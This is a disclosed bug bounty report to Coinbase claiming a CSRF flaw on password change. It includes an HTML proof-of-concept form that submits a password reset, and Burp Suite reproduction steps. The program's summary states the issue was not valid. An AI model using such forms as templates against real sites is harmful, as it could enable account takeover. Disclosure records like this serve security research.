Coinbase · Report #230436
CSRF bug on password change
Summary
There was not CSRF, the endpoint was correctly responding to the invalid request.
How it was found
NOTE! Thanks for submitting a report! Please replace all the [square] sections below with the pertinent details. Remember, researchers are more likely to earn a larger bounty by explaining how a vulnerability can be exploited to cause harm to Coinbase or its users.
Summary: Attacker can change password without user permission
**Description:**HI I found csrf bug on password changing session. It can be dangerous for user. Cause attacker can change password with out user permission. CSRF POC is below :-
<html> <body> <form action="https://www.coinbase.com/users/59215b8f0ec7c37a4ca27b00/password_reset" method="POST"> <input type="hidden" name="utf8" value="✓" /> <input type="hidden" name="_method" value="patch" /> <input type="hidden" name="old_password" value="dadaboji1" /> <input type="hidden" name="password" value="dadaboji" /> <input type="hidden" name="password_confirmation" value="dadaboji" /> <input type="submit" value="Submit request" /> </form> </body> </html>Browsers Verified In:
- [firefox 45.9.0]
- [add each browser and version number tested in]
Steps To Reproduce:
(Add details for how we can reproduce the issue)
- [Intercept with burpsuite. After change password click]
- [Make CSRF POC with burpsuite]
- [change data]
Supporting Material/References:
- List any additional material (e.g. screenshots, logs, etc.)